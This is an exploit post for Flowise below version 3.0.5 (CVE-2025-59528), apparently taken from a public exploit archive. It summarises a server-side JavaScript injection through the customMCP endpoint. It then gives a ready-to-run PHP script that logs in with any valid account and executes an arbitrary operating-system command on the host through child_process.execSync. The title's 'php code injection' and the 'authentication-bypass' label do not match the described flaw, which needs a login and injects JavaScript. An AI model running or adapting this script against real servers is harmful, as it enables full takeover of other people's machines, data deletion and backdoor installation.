=============================================================================================================================================
| # Title     : Flowise 3.0.4 php code injection                                                                                            |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
| # Vendor    : https://github.com/FlowiseAI/Flowise                                                                                        |
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[+] Summary : 

FlowiseAI versions **below 3.0.5** contain a critical authentication‑bypass RCE vulnerability in the endpoint: /api/v1/node-load-method/customMCP

After logging in with any valid account, an attacker can inject arbitrary JavaScript into the MCP handler, which is executed server‑side using NodeJS’s `child_process.execSync()`.

This allows:

- Full OS command execution  
- Full takeover of the host machine  
- Arbitrary file modification / deletion  
- Backdoor installation  

[+] References : ( https://packetstorm.news/files/id/211130/ & CVE-2025-59528 )


[+] Technical Details

The exploit abuses the **customMCP load method**, which blindly evaluates supplied JavaScript:

```javascript
({x:(function(){
    const cp = process.mainModule.require("child_process");
    cp.execSync("COMMAND_HERE");
    return 1;
})()})

When posted to: POST /api/v1/node-load-method/customMCP

Flowise executes the payload in the backend, giving full system control.


1. Save the file as: poc.php

2.Execute: php poc.php email@example.com "Password123" http://TARGET:3000 "id"


[+]  POC

<?php
/*
 * Flowise < 3.0.5 - (CVE-2025-59528)
 * by: Indoushka
 */

function banner() {
    echo "===============================================================================\n";
    echo "  Flowise < 3.0.5 - Remote Code Execution (CVE-2025-59528)\n";
    echo "  Original Author: nltt0\n";
    echo "  PHP Version by: Indoushka\n";
    echo "===============================================================================\n\n";
}

function login($email, $password, $url) {
    $endpoint = rtrim($url, '/') . "/api/v1/auth/login";

    $data = json_encode([
        "email" => $email,
        "password" => $password
    ]);

    $opts = [
        "http" => [
            "header" =>
                "Content-Type: application/json\r\n" .
                "x-request-from: internal\r\n",
            "method" => "POST",
            "content" => $data,
            "ignore_errors" => true
        ]
    ];

    $context = stream_context_create($opts);
    $result = file_get_contents($endpoint, false, $context);

    $cookies = "";
    foreach ($http_response_header as $header) {
        if (stripos($header, "Set-Cookie:") !== false) {
            $cookies .= trim(substr($header, 11)) . "; ";
        }
    }

    return $cookies;
}

function exploit($email, $password, $url, $cmd) {
    $cookies = login($email, $password, $url);

    if (!$cookies) {
        echo "[✖] Login failed.\n";
        return;
    }

    $endpoint = rtrim($url, '/') . "/api/v1/node-load-method/customMCP";

    $payload = '({x:(function(){const cp=process.mainModule.require("child_process");cp.execSync("'.$cmd.'");return 1;})()})';

    $postData = json_encode([
        "loadMethod" => "listActions",
        "inputs" => ["mcpServerConfig" => $payload]
    ]);

    $opts = [
        "http" => [
            "header" =>
                "Content-Type: application/json\r\n" .
                "Cookie: $cookies\r\n",
            "method" => "POST",
            "content" => $postData,
            "ignore_errors" => true
        ]
    ];

    $context = stream_context_create($opts);
    file_get_contents($endpoint, false, $context);

    echo "[✔] Command executed: $cmd\n";
}

banner();

if ($argc < 5) {
    echo "Usage: php {$argv[0]} <email> <password> <url> <cmd>\n";
    echo "Example:\n";
    echo "php {$argv[0]} admin@test.com 'Pass@2025' http://localhost:3000 'id'\n";
    exit;
}

$email    = $argv[1];
$password = $argv[2];
$url      = $argv[3];
$cmd      = $argv[4];

exploit($email, $password, $url, $cmd);
?>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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